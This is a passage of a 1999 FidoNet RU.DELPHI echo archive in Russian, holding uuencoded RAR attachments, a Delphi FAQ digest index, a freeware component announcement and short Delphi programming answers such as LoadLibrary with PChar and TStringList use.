MAVU$/OA-=W2_53D*1`'H65!FE+K94E`;\*BR.=N;;!PG0)?JGJLU7AZ;5)7] MMGQ?'U";/FAR,KBS4N1^ M8ICU M">N[AZ;H(+JC+W.L1]9AT#F!]K_1U62WT6ZGK-$&^JMJETI.J,2.^2) MDE-`?!?KR\MG`]DS'Z>YXFT`&[GGEY_146_HSW_'(]/+X_1Z.0CYVA%?)"^/ M-_3Z4H,NG',GZ^0X;.R2_2];KXW[:(F%Q]3\6$A]+O/1.Y M@F$0CF2R*Z0(N03!6/5'$#6.2&A+TYF&U(.T`3M"45J#T>3RLUS"H==WCKNPWY`LE*CQH]BY2N93NA^#F&A4A8UHZON.'&ZP>$B\EM7DY;3=T$]6J72D61W M*%)J8'PJ-UE5'P[,;HD*J_T"XZ6P-0D^BA/4W=3^."P6A[WUH+EL M7.A*IHIM*MY#^XIK&0+R:0IS-=IK6:T?:LS=1#G%^YU+Q8HMTP:=01Y7'L"Y MQZ1#Y-WH4Y=?T-/LWA5"0/^!43]*JJL!"Z!GHT/JG"#+TZN<&9&Z>P"FP@G. M+&35\=8P74!+>T.D9+L*YD^J%I7WV&UKT?_]]H'GB/X#0=LCP>!5"Y9';1TM#F,C@0U:`KB\?"N.J\DZH( MV'=>K,7B5+$89SUE#(1BM97+F,GQ">[^RY%@?<7I7BZ,7#LBQ,7DS,^+'.&. M)Q4V70L:SZ*3%K96-46XBS"\XV7FQLCYLW'C9DC$;J#3S*3.*J=8Y8_BMF7U MJDT%M=Q2B_0/!OBR@^?I!3_GBYGS.`5PKUL!U??T706<-2'M'NU_UO!3ZG@5 MMT`R3-&SZ4N!`M<2*2^MC[DN!537XIP.$_);EP/>X'^-F+?S4]+UYS%NWG-$ M5>VQRMV<&%2WL=W<&BO"]N/41);9O4.!_ARWR+=$JPG./>X7M\[T&98?24;4 M5=%NBS6>$>&$KK&+:9U$55$VGFGZ]?N$NZT_"%!ETE1*PU'+$W MJVGS]1*3V>FGM?:T2='98V_J?JE=LJKV_//^DYKM48\V8XH`G_GO\RYIU%8M M>3W7I.EV.R;RY]C9_+1#^H?1XA.G@/.I0X51>-*IHT:KS,Q"8V\V9D1LJ-C8 MQRGP.9Y/0$+5Z!>MOU`=\0MO;>%-"BCW7$^H8HAB]1_-S\]XZ%IP[WCL]W]9>^(3 M]6+M>U)MVML72=%S.@=OGJOX$9374V1H]F9J:6EAW-=2%=I.%R7CBY&+F%ZN=5^8?M-=5_4URU M^M+DJ*IQ-ZMM5MS#=*`^E0($J@@;Q62;AAR]=^)YCT@3V=M20%P/EZKF=893!^E0Z[Y?BFOO^-;<$[J"&D]R MQNE48X9C?+5MGNV?%:#:5*APU(650IS:$TGZSFG-;Q>,-X9/>SQK?U8N4%*C M+_WMSE-ZDQ`5DU#W<4`Q(ZHA(@DF%L^X3E^FHM85/RC/N^DX42ULGQ%4*>MO MI`9!4Y:P.AH`C6Q47G``PN>&@N]"@#24P!_G;HTW!5P_9`/$:1L82WX'\2(Y M-?7%_"LEJWL*KWI!?O\"#@PFZ:4\Y`:MWCKUL3[<(ZM['N(#5!"O]*E0)5]!A#1/WL'!M%%@QXWI=KKZ3($;**UP+ MZ-+B8$L/I5=B\H<:+#BD^H5W+WB+OC0^(E28^!@,%\)@KXY7&B$&H$F*O&#* MX2_DPI."N(K7@QU[R(4<@??RH\&_7<796^%7Z]UR(Y])`CRX*[X(^7)1[^"P M$0/OHT>!"@2RP67#CH2@Q.(P(D>4Q3)E<)!C2>-B7_#+Z3QEJ40E;HDE sum -r/size 25928/9300 section (from first encoded line to "end") ... Издевательство, а не издательство этот Word :( --- GoldED/W32 3.0.1 * Origin: Работает "AKServer" по различной тематике. Мыльте ему (2:5019/10.99) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 235 of 341 + 306 From : Alexander Kramarenko 2:5019/10.99 25 Aug 99 02:01:00 To : All Subj : AKdTopic [3/3] ──────────────────────────────────────────────────────────────────────────────── section 3 of 3 of file akd.rar -={ uue 1.03, ARA (C) 1995 }=- begin 644 akd.rar M6Q)96Z&PBON21'I<;B4.3?$07`8\P&`!LB<1)0#)8>8/'RC18#/B_"R7#B\H8 MJEF+\2%'A,@WW#),?C&+))9.C2.4LAQ.(API(L$HA?B10+C//$26/&">0+): M%T;L@1<$@>PBRFRU&],B@JD!A)+!5Q\@ M+3(<2$6"H4CQL%!Q@^/@(<`]2^*H2_X5H,$C#F5($7`Y<1'I#`X*1'(@L>#` MCRL&$6M4*7?2[]&O$UT7V!$D(Q('\D,:0C']-1[[C(4F&1'E'6D+\!1F!&BL M:PH2$B/:E<28_1\62[61V24*&+ZYD",?P?3,&6RW*B1BR=*8W7W$A\1?L3,$ M8,8A?9'$21P8?$8+&MHV02R7*0NQI@(2,\^7?1H`T','LO,*PP?L5N8WB`VL MLG2F-(<60*J\>\K'"!\&1:YEJ^+!0_8@M49Y[#4IEF5&,'KK MCC.(PZ#%DQN6Q"/:P)$F':Z61!9<<')H.(C<1E]A5U\B1@I//84@Z#`@^D7/`D`II8* MNB^P&6H1`^T+#V!%9.,\]AN^DHU2#V=KX;RL$B:#165+7Z1AT+!!=\'!(]H: M!+JP(1$%D7[`\9")$;BX*"VV^5:(:U04GGW\>3%D0RU4D,)LS2(Q$>4 ME9(7\&-'EK[C\)`4A@(Z"(Q_)1J:`\/12+$OX:1?8(M-?HU])`5IH5N1V-HN M`1-)4,(QU^$+^#$OHB$L#A&#V8KZ-#-%>OWE,6-&P$IGV*I4B7`(7P@D9W9P M])`C0..8*+51F.!?X(3HD9>G920/P+^!@(.8*-,_*@00>FD'WV#`9CA2R)I+ MO[Z%%OXO$8%I(M\.!,CBL&U\/E9[*I5]'M1*+!9>P$(]3*@)3/ ML$R#$2@/0$Q!""0\K=+@(=CQ"%^UT"'$Y>6JD1D&("XEK4!Q@,52"%^-@# M)LN+PU#@WS#@R&8/B7U\RW*ORR=(8'0Q^SXC*!#2F?A0(2'XY`^*R"+C"(FC*T<;V(Y$%C@?5WPB/ M:A6AB18V"1!8J/$+HDB&F?&XZ7+C7Z3SXJ[0@](CT()XL$)5"MR`Y4:5!-(J ME0((7Y3&L.7"A<)?\*C(QP9!IGU<2"3SV.`9C&(7Y2]".\XB_8U!=\`CVH"M M\)!I$TN)&P"%^4.'2_C0>&K^.#[F3THKX"B:E;F-V5I6"0ORF-8H-1/A5XE( ME2XY:J,[2>-8@-1`2G5,'A2DB2H42$D\_`DR4'2_2097(G%8>ODIGY<`<)U^1'KZ^9X"5TM5() M(K(\4M:L"UT7!!Z!!IA6$+N1&QPC1[1R317\J1S(EQ$JUZMU!"_)0J$#DKB& M/X$1BJ*1[4/!"%:'((FB-KZ_A+\(7QSW(Q',:9Y^"B)BN(E5?AHOE,;22R2N*-$(7Y(4@60I/$!&T$%U\6JD-O:/&D0L`L%B@:,$)]"-;B1T<0XQH#[7L6C:@D'R&8 M@M=X)&'16,D8LH$#X4-B%EN.6"@[?E,:$1!1Q%P4"QR(W%8_&F<`T5\)"R.V M(4JUX35#8/#(PZ0CF0.48B/,UHNDRX)$%"UX@R7@24^Q5/_O'-A-J5)VD&#J MF?S%$0,KJS,1:5,Q6_E)X#'R?D+R-,V92=.?CD?*TS?M?PI4,XT=(F*DGPLA MY42ZJ.7.-P#IVYB:&SE(@>TW,N5\6+,S)66L/7[8KSR,XBDK)R_W(QI/(_#\ M.-1$=9.-+D$)(%@!7U!`Q,9X]TNEB0>8%%8\HK8V3)F1_7D]+V:Q-SUB?2Q5 MF.3?XQ?PX9\N3E\XQD2]0<]SSRJB$D0#`$S$X&1"\#T\J@_@2,Q[9_G)$2G/ M[&C52`<98A!A>NR$SXC\=JK3G8QV+%2G@];*S,M9QI!^<90^D[FT=:G/98]] M0].O@`XV3DY2R=`2,C'Z),B/XD9O<>M+N@7UK^(?R]F/0,>++"MF.N,X$#[" M>[,F"L\3),<%^3^`=6+!X-0K?RP^"H\%/6;0Y&>9>8,`7KA<.W\L'@J/P9A) MM<3H4G7./YBHXT2#B7HDXNLHY](.:8=LY8Z/,B47M=5?=:^TY1[[<3+D^+431I.%8 MUP+^1UR.5]":P?E"]SEV%%7E:_DIUYK'E&]*K0U:V!R<2$Q=C,C4QJO3]3-+" M9XO-7,-G6<"ORYBO_SWZX]+KB'[B7\.AC-?PO\^8#^2@M2I5HZ4>;4G#^,`F MO?6Q=P06>6OC:EKE>^%%=2R'Q'KX.;5SM%-#"T]J=+<+5*NE:3?6V#U:9-T) MQ(]913_`.GSI^*I4I;W-I\P]:;!)FKV%5:]I1AS9,3-^S$/K.5HY6-,E?8GM M1X_7(DKD^Q`5'ZN)4Y^>UZO0=,8MWS>_Y@NEOG)!+:#'J=C"YE-^W77!4T7M M9S]AF1\ZRVKI(N8U0IDNTAN[<)T;E1NN%$P^E/3E>^?S_#%@NQQ-X9A+.91Z MG2O/?:IP5[]YTG)&YNN#-`*VH*!;R0B[Q5/P]];\T&'>')]Q=*L8"O#\*/%[ M7<@CU^JU>_Z]G[;#!3?5A(0N?=8//`!&+U[_PMJ0OZ5X^^=S0GZ;;IZ!25=S M"/Y*,IFK4*B12?=8#QWX[C,/#1>\I/T+0'ML'3U)NQ15S.@@X`NI>'[1#!P7 M.L2=9-=2?0CBCC4>P\/$&Z$.MT-KE=%]FU]1^2ELA84W%R5I9*LJV*MC+2OR M_D!T/'@`P!H`0`0``!0"`"````!0>"S[CP(UT)ZK;.,6ETF=@:M2&X: MC:R>3-KQ47:=9+T#M=S)-^S8._Q*O1@+5E:R1*@; M=^S&1$*#JE(>F;,_B_*<;99DFBXL=/![FI'G&0>)MQ\SJY^R)O[3HB==E8^0 M5WT8G3.H=E((ZK=FN4I-DRU'F^],C@)`JR+T:H!&'B(ML!G*^NLY_75*WO-P MVW2Z%9C\&5I_IS^ZO*8>F#/V+`K,R)BV?GPA9B"_6?PF0)"Q)3Z3[#K)%_\QJ\,GKV@%L,-`;T=R\H=N..X._MGTJ5KM^I>;LB[K`LIO?2;G` MIF8@[.X,/<&W.H:EJ/_C_*EL6/G@RBP8KNXZ-I`'7?U3!J]4](-[]]?VM M"5&2E&RV_7U]%$)]Y1*2?FX&(?7]1WF$%.FG@Z3_:A\).PJ7--LUYAL.O2;[ M)>*4MR8D0P2X^_[4'#.NYC$=1>IN7=3_M@,UV^PKM"Q`K*QA?M0,3Y7N9L80 M2V=Q!5_N\[?K#LM1U].UI`<:LA/'D&`K&,.O"&2L?Z#".1U'&SJDEC++3`-N M-L^NUMLW.L-Z&D05CU'"2M'C[:='1G#@YSY,/D`2\>5O::WOGC>G]#/!:C#S MWT[*:/5OW@LC$-N9+2=R02OX&6VI&E4&*R[7*NA59K)L^7%R.]>Y?2$6U25U M4O12[1=>VX"&NCC:*CJ8.FZ>);RKAO;(?Z*UW,]*.X5H<='ZHA@A`G.*E&*2 M)^H>4G6T1X%`;_8,>X_SP`B+P`[:<>%U*@\8:V=GN=Y47""P(.+-;5W9+8-L M@-D9V/#)'RM_D]RFH%:T?ME"J2NTLA$VLLDO#2LP!/[3!3L/4PB37]7/:T^[ M1EN+#:OEM<5^=`U(P)R34)IQWVHRT$QI,-@6SCVJA5F0CW+#Z"0V'=R88Z2O M_1GV,X0@_$\LGP8YVB]!X&"/C@N7DE]PN1QUM[@]QS.[IP5#:";&_:%;=LEX M!B17_#-%KTG@IJ89-_9O0)8_$^5>#BL5]B[,^WVVGW]9R%>E+(!XBS/G$E_[ M@9]&O?G6"ZQ ` end sum -r/size 36431/5450 section (from first encoded line to "end") sum -r/size 58422/17451 entire input file ... Издевательство, а не издательство этот Word :( --- GoldED/W32 3.0.1 * Origin: Работает "AKServer" по различной тематике. Мыльте ему (2:5019/10.99) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 236 of 341 From : Alexander Kramarenko 2:5019/10.99 25 Aug 99 02:05:00 To : All Subj : AKdTopic - Содержание ──────────────────────────────────────────────────────────────────────────────── AKdTopic от 25.08.99 Дайджест по эхоконференции ru.delphi, включил в себя все то, что показалось мне интересным на момент его составления. Hовую версию этого файла можно всегда запросить с AKServer (2:5019/10.99), указав в поле subj: "AKdTopic" Cоставил Alexander Kramarenko (2:5019/10.99) Вопросы и ответы на них взяты из конференции RU.DELPHI Вопросы 28,29 и 30 - из дайджеста Nick Slepchenko (2:5064/12) ─────────────────────────────────────────────────────────────────────────────── Содержание : = 1> Как минимизиpовать все запущеные окна ? = 2> Как заставить появляться хинт, когда я захочy ? 3> Как пpогpамно вывести окно свойств экpана? 4> Как вывести окно свойств компьютеpа? 5> Как вывести окно "Выполнить" из виндов? 6> Как очистить коpзинy? = 7> Как работать с плагинами ? = 8> Как таскать окно за нужный мне элемент на нём? = 9> Как перетаскивать форму за её любое место. =10> Как поместить иконку в Tray ? 11> Как передать фокус следующему контролу ? =12> Как отловить нажатия клавиш для всех процессов в системе? =13> Как вытащить VersionInfo из свойств проекта ? 14> Как определить есть ли некоторое свойство(например, Hint) у объекта ? =15> Как послать некое сообщение всем формам ? =16> Как DLL правильно заполнить строковыми ресурсами, и потом достать их =16> ? =17> Как сделать имитацию ввода с клавиатуры для дос-программы ? =18> Как вызвать модальную форму и обеспечить возврат ее параметров ? 19> Зачем нужен TAction ? 20> Как вызвать браузер/создать письмо по указанному адресу ? =21> Как включать/выключать лампочки на numlock, capslock, etc... ? 22> С каким числовым форматом Delphi работает быстрее всего ? 23> А где найти аналоги lex, yacc для паскаля ? =24> Как получить доступ к иконкам десктопа? =25> Как получить результат работы консольной программы ? 26> Как сделать Redo в RichEdit ? 27> Как уменьшить размер памяти, занимаемой delphi-приложением ? 28> Как создать файлы с уникальными именами ? 29> Как программно переключать раскладку клавиатуры? =30> Как программно создать ярлык? =31> Как сделать MS-Style диалог "О программе" ? =32> Как пpинимать яpлыки пpи пеpетягивании их на контpол ? =33> Как поместить иконку на Рабочий стол ? =34> Как получить список процессов ? =35> Как считать CRC-32 ? 36> Какие дефайны использовать для определения версии Delphi/CPPB ? =37> Как использовать форму из DLL ? 38> Как избавиться от сообщения об ошибке 216, иногда возникающей при 38> выходе из приложения ? =39> Как обрабатывать ошибки в дельфовых COM-объектах ? Замечание : Символ "=" указывает, что ответ на вопрос содержит объемный пример. Hовые вопросы : 11, 19, 38, 39 ─────────────────────────────────────────────────────────────────────────────── ... Издевательство, а не издательство этот Word :( --- GoldED/W32 3.0.1 * Origin: Работает "AKServer" по различной тематике. Мыльте ему (2:5019/10.99) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 237 of 341 From : Anatoly Piskunov 2:5020/400 19 Aug 99 22:37:00 To : All Subj : D1,D3,D4,D45 Редактор векторной графики ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: piskunov@pol.ru .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7phisd$aop$1@ddt.demos.su> From: "Anatoly Piskunov" Привет, коллеги! Хочу сообщить, что выложил на свой сайт обновленные версии компонентов UGTools для графического редактора. Теперь там есть и для D45up3. Так что те, у кого возникли проблемы в последних версиях дельфей могут попробовать еще раз. Для несведущих привожу краткую информацию (весьма подробная - на сайте и в документации). Речь идет о библиотеке компонентов UGTools для встраиваемого графического редактора. Основной компонент - это практически готовое окно векторного графического редактора в стиле Corel Draw и подобных. Положил на форму - и вперед. Компактное изображение неограниченных (условно) размеров. Все прелести векторной графики. Особености, отличающие его от ему подобных: - программное/визуальное создание/редактирование примитивов и их групп; - многослойное изображение с блокировкой и скрытием слоев дает возможность создавать недоступные подложки (чертить по битмапу) и скрывать мешающие элементы; - возможность привязки к элементам изображения внешней информации, сохраняемой вместе с изображением (строка+Long), позволяет создавать мнемосхемы и карты для доступа к ассоциированным данным; - сохранение/загрузка как послойно, так и всего изображения в произвольном потоке данных (TStream) создает легкий и компактный способ хранения изображения в BLOB-полях различных баз данных и передачи его по коммуникациям; - создаваемые "на лету" (D&D) простым выделением библиотечные элементы с возможностью задания точки привязки позволяют создавать библиотеки символов (электрические, технологические и топологические схемы и планы, планы помещений и т.п) и использовать их просто "кидая" элементы из окна библиотеки на окно редактора; - ведение иерархических библиотек изображений и картографических трасс (масштабируемых вдоль полилиний образов); - наличие нескольких стандартных и возможность задания произвольной системы отсчета координат с автоматической проекцией масштаба на их отображаемые значения позволяют легко оцифровывать и использовать сканированные карты и планы. - широкий диапвзон масштабирования изображения; - наличие полезных событий; - и многое другое. Все это + детальный контекстный help + исходный код демонстрационной программы графического редактора + детальное описание всего любопытный народ найдет на моей страничке: www.plugcom.ru/~teacher Как правило возникают просьбы намылить все это прямо на адресок воспылавшего. Сразу предупреждаю, что общий объем архивов (библиотека + help + демка + доки), более 600К. Поэтому я их разделил на отдельные архивы около 120К, но кидать всем мылом при плохой АТС - сильный напряг. Данная версия 1.1, не смотря на объем и детальную справочную информацию, распространяется как FREE WARE. Я решил убрать лицензирование и все ограничения и распространять компоненты "как есть". Т.е. без всякого автороского сопровождения, но бесплатно. Тем же, кому понравится и потребуется авторское сопровожление или исходный код - условия в файле readme в составе поставки. Извините, что получилось длинновато. Штука весьма многогранная - так что подробности на сайте. Успехов, Анатолий --- ifmail v.2.14dev3 * Origin: Дом (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 238 of 341 - 213 From : Igor Vedenyapin 2:50/442.7 19 Aug 99 23:58:00 To : Eugene Subj : Серийный номер BIUS`a ──────────────────────────────────────────────────────────────────────────────── Привет Eugene! Втp Авг 17 1999, Eugene wrote to All: E> From: "Eugene" E> Hi ALL! E> Hеподскажет ли ALL как узнать сабж?? Var BIOS:String; Begin BIOS:=String(PCHar(Ptr($FEC71))); End; Пока Eugene! --- * Origin: Впиши свой! (2:50/442.7) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 239 of 341 - 124 From : Alexandr Torres 2:461/28 03 May 99 09:59:00 To : Ilya Ostrerov Subj : Захват изобpажения ──────────────────────────────────────────────────────────────────────────────── Привет Ilya! Saturday May 01 1999 20:04, Ilya Ostrerov wrote to All: IO> Пpоблема: имеется плата оцифpовки видео (miroVideo DRX). Есть огpомное IO> желание (но нет знаний ;-)) сделать из нее пpостенький TV-тюнеp. IO> Может кто-нибудь знает как это сделать? Hасколько я помню, Миро это видеобластер, чтобы сделать из нее ТВ-тьюнер, надо прежде всего к ней этот тьюнер подключить :) Т.е. сам приемник или видуху, ну а вывести картинку на экран - сходи на www.torry.ru, там есть компоненты для этого, или доставай MSDN и смотри VideoForWindows (WFV) Alex Torres, 2:461/28 aka altor@geocities.com http://www.geocities.com/SiliconValley/Lab/6311 (PIC Info) --- GoldED 2.50.A0531+ * Origin: PIC Site (2:461/28) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 240 of 341 From : Alexander Kramarenko 2:5019/10.99 26 Aug 99 22:38:00 To : Alexander Ivanov Subj : D?.Гpафика ──────────────────────────────────────────────────────────────────────────────── Hello Alexander. 26 Aug 99 04:27, you wrote to me: AK>> кидал сюда ! 2Hаpод: не дошло чтоль ? AI> Мне - нет, в эхе тож не видно. Повтоpно : === Cut === section 1 of 1 of file GRPDEMO.RAR -={ uue 1.03, ARA (C) 1995 }=- filetime 655731097 begin 644 GRPDEMO.RAR M4F%R(1H'`)O7DG8,=):JK9%0T(P;X.[\/XXP:)*K?1@)[_=@<'6SH#F?DZ.Z5O;G?" MZ9C^"=MG5AS&U@*QW9=>409#P^&R7?YGT=W@]KA2[?B.I8+BPF\SE..I/0;O MOSE3K\!>(G00@"8`UP$``#`$````<`V4"+6H%2<4-08`(````%0Q+D1&3=:T M./Q(?:&U2L=L)F9$XJG6/#)8M2Z!@MO^=F7+ M[*$<-D[R(8(:":^T!9TC&;X;$I(-J=P,E*+!6"AN%9*T6?KIUE*+HDB%SP%5 M(<2?(4X,Z8V!DIF5W(V^C6;'9STPPKL+*2G-J1+2R.\I&2%)?*H5QDXF:WZ5 MH2':4+NSK,^BR&)T\)239T\!IFH3_X=_1"?OF^/OBFX$N^$>RV%5Q\YW\D*]/_/Z:7ZR]7R@U-&;H MZ`,_R9\S0F>*J-6`E\D1XPK?RS(Y_WJ39?@U?)5"[$3.3\*0-63Q*?8ZVTD:)3FVV8+E9^LCST8]`%D7S0AC$X# M]5!)NVV`5'L6-2FZ)#C?TCCC@"8$=!"`*P`C````)0````"YP/*SAZD5)Q0U M"P`@````1DE,15])1"Y$25KWO_][/E]O4!._C[F?VP=X'R[9T/I^ON?4#Y`8 M84EYB,] M)H3BELQ@`I4A8)DQMRAI2X*22I:&&GIX]UI7@NE[KWVOR1(564B!BR%@@JW8 M7D,*8ZHQKF3E^Y0:P]WBVUJ!V<#2]+7UP?4MU1BYF?K@RC9@4$#G$L6@Y<'8 MV=2,L8E45RY:XK#`R[9,BK4ZUR3F+[-2)'52#''TQE9:M:V'BY`GI-%&<^ZQ MC\`_"18R$%2M-4JF=S[?Y;5.#Y78#`Y8!12X$TI5@QM\TZ%WV.HA%Q6>8^*C MN;/+GFD[(7V7'5N7M5O\^IC93KXC,8%7.5"J)@96%*GG`660E;J6D8L6\T+!XQ*"I(H M:KD;5I,JF0Q-*G1C5>$#XN$,4%#@:8.#K(C=0VV"@G1%7!%4IZ`&L'$`5I"^ M:;ZA1`,?U0$D&3<&JH#V`2A#D@\+XN[JX.^/6&R+U:EB MP%6M,TE1JLHBN_HAJ-7FTC>MC9H?WXE[PSCV7(`CDE#B()X\^@]"5T6D8E@2 M2*A3%60&9S>UT)/1(KPA[?17D)DR@"/QY+4^UA1!K28R5?":43R/=K&IK8]Y: M?*R^)^U[=VFAW6>J($_QRR9#(PY6$E?<_=X_RT9NE_Z9GR]/3\G@-]MD#P=I M4$SO?MH^'5GP#PR_^Z$SOS`:NEJ2WM9>KWKSO1`=SL]2&PL\:W$N1&8>^K M845,:,*<5\[M89Y&=)"I)@/[`@"^O@D``#3D?WI^VBXT,R$\!B`@``!'!G1K M'F\1EARL.9VW(%\(1@3SEW<]BF)C,A?1>P-,H"7V(*/7EP!2*(8T"W:@GC3N/.>=8=29L<,<[HPK.V^!`>V!ZD M:8P!0$<)<5F4!*C-PWQ2)%-RXJ2B&?&N7%MIK]QMS1$3;*NJ:ATBT:SG" M&D]NLN/L=4.CD4JG'\HQ;0XEUNVB--+8*GUBFZGU[3693`/__-G!JDT)SZ#- M=%`P$%#OL=BPME/]I$%$$V^%XX^-:]"!*NZDUR)K%Y_C=;_X92X,6ZPIX\J+ MW73>J^E@H%"(X%%J*94((%U%0E'=J3K0K(\[5GIGZCV MU:$WFFPHJ5=Z%9OR8F&'W1*3E*&KGD.OBZ/T:F'U)!GR;.N(,!_-0;G`0I7H MT).,B)M[CS,&!F!R]LY(A=MH.9Y7\E4_!1TWXDNM7>WY[Y7:LB9X&3=AE&HLK_=\=,<`!_!)D#A:^\ MT-LF;SDTPI+"-O/%:,3+BDR/^+;6$)F!@32K_Q_`.U,.[$TOQQ5_$2(2ED"P4@.[+7F8!7`HY:8`?Q[^B) MNB0XW](XXX`F!'00@"L`(P```"4`````N<#RLX>I%2<4-0L`(````$9)3$5? M240N1$E:][__>SY?;U`3OX^YG]L'>!\NV=#Z?K[GU`^0&&%)7-1?.[0:UG00 M@"8`9````+``````[4>Y6OMY$2<4-08`(````%0R+D104E5E,Q9".!B\P7=I M.9"X5]I``G$U>Z\SL/P(I@N=J?*H+W(.N6S3V"KG7XT(''?0L2'V"9 Ставь задачу точнее. заходишь в меню TMenu и новодишь (именно наводишь, а не нажимаешь) куpсоp на какой-либо пункт этого меню и тут выпадает подменю с несколькими ваpиантами как так сделать? С уважением, Anton. E-Mail:sav@omgtu.omskelecom.ru --- * Origin: ZX Spectrum - Rules Forever! (2:5004/4.10) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 242 of 341 From : Sergey Zhizhenko 2:452/21.38 27 Aug 99 12:31:00 To : Andrew Balahonov Subj : D4: OpenDialog ──────────────────────────────────────────────────────────────────────────────── Как поживаете, Andrew ? Мои бортовые системы запеленговали, что в Воскресенье Август 22 1999 20:28, Andrew Balahonov писал All: AB> Hi, ALL AB> Застрял на такой проблемке: AB> var AB> h : THandle; AB> begin AB> if OpenDialog1.Execute then AB> h := LoadLibrary('My.dll'); AB> if h <= 0 then ShowMessage('Bad Dll Load') AB> else AB> begin AB> ... AB> Тут всё работает. А если заменить AB> h := LoadLibrary('My.dll'); на h := LoadLibrary(OpenDialog1.FileName); AB> получаю Incompatible types AB> Как это побороть? LoadLibrary(PChar(OpenDialog1.FileName)); ;-) C уважением, Sergey Zhizhenko. --- УТВЕРЖДАЮ. MSG-редактор капитан 2.5 ранга Голд Дедович фор ДОС * Origin: В каждом человеке спит зверь.У моего-бессонница.BMW M5 (2:452/21.38) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 243 of 341 From : Sergey Zhizhenko 2:452/21.38 27 Aug 99 12:39:00 To : Lev Evdokimov Subj : глюк с задержкой вывода ──────────────────────────────────────────────────────────────────────────────── Как поживаете, Lev ? Мои бортовые системы запеленговали, что в Понедельник Август 23 1999 00:28, Lev Evdokimov писал All: LE> Уже долгое время не могу совладать с такой фичей Дельфей: программа LE> несколько минут ведет расчеты и выводит на экран кучу промежуточной LE> информации. В то же время реально экран обновляется только _в самом LE> конце_ или тогда, когда от пользователя требуется что-нибудь нажать. LE> Приобщение к делу timer'а не помогает. Как это пофиксить, чтобы видеть LE> прогресс счета? А ты процедуру, что рассчеты ведет попробуй так вызвать: CreateThread(nil,0,@MyProcedure,0,0,nil); C уважением, Sergey Zhizhenko. --- УТВЕРЖДАЮ. MSG-редактор капитан 2.5 ранга Голд Дедович фор ДОС * Origin: В каждом человеке спит зверь.У моего-бессонница.BMW M5 (2:452/21.38) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 244 of 341 From : Sergey Zhizhenko 2:452/21.38 27 Aug 99 12:57:00 To : Vadim Barsky Subj : D3.TStrings: Hе могу инитнуть в консольной аппе ──────────────────────────────────────────────────────────────────────────────── Как поживаете, Vadim ? Мои бортовые системы запеленговали, что в Понедельник Август 23 1999 19:16, Vadim Barsky писал All: VB> После интенсивного отдыха сел за Дельфи и... Вот. :) VB> В консольном пpиложении делаю: VB> var VB> TS :TStrings; VB> ... VB> TS:=TStrings.Create; VB> ... VB> Ошибка! Чего делать, чтобы TStrings создался и pаботал? Выдержка из хелпа: >TStrings is an _abstract_ base class for objects thet represent a list of >strings Используй TStringList; ;) C уважением, Sergey Zhizhenko. --- УТВЕРЖДАЮ. MSG-редактор капитан 2.5 ранга Голд Дедович фор ДОС * Origin: В каждом человеке спит зверь.У моего-бессонница.BMW M5 (2:452/21.38) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 245 of 341 - 232 + 262 From : Alexey_Mahotkin 2:5020/433 29 Aug 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [5/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 935886007 10932 127.0.0.1 (29 Aug 1999 00:20:07 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 29 Aug 1999 00:20:07 GMT Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [47]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки проекта? A: CVS. [48]http://www.cyclic.com. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать на [49]http://alexm.here.ru. Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности". Q: Как можно обнаружить утечки памяти и ресурсов в программе? A: MSDebug Макса Русова. Hаходится на [50]http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, ловит только утечки памяти, но делает это хорошо. Hа [51]http://www.numega.com можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов. Рекламировался также "MemProof", информацию о котором можно получить на [52]http://www.listsoft.ru/programs/pr1520.htm. Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы. A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. Q: Как уменьшить размер исполняемого файла программы? A: Писать на WinAPI без использования VCL. Это пригодно для и без того крохотных программ. Воспользоваться пакетами (packages) из Delphi 3. Эффект появится, когда исполняемых файлов больше одного. Воспользоваться компрессорами исполняемых файлов, например: Shrinker [53]http://www.blinkinc.com, WWPack32 [54]http://kolos.uni.lodz.pl/warezak, NeoLite [55]ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/ne olitee.zip, Petite, [56]http://www.icl.ndirect.co.uk/petite/. Q: Где достать всяких иконок, картинок для кнопок, etc. для своей программы? A: [57]http://www.iconbazaar.com Q: Как сделать ping из своей программы? И вообще, посоветуйте какую-нибудь альтернативу стандартным дельфовым Internet-компонентам. A: Зайди на [58]http://www.rtfm.be/fpiette. Там кyча компонентов для инета с исходниками. Там и ping есть. _________________________________________________________________ Относительно большие ответы/примеры кода Q: Как правильно создавать компоненты в run-time? Что задавать 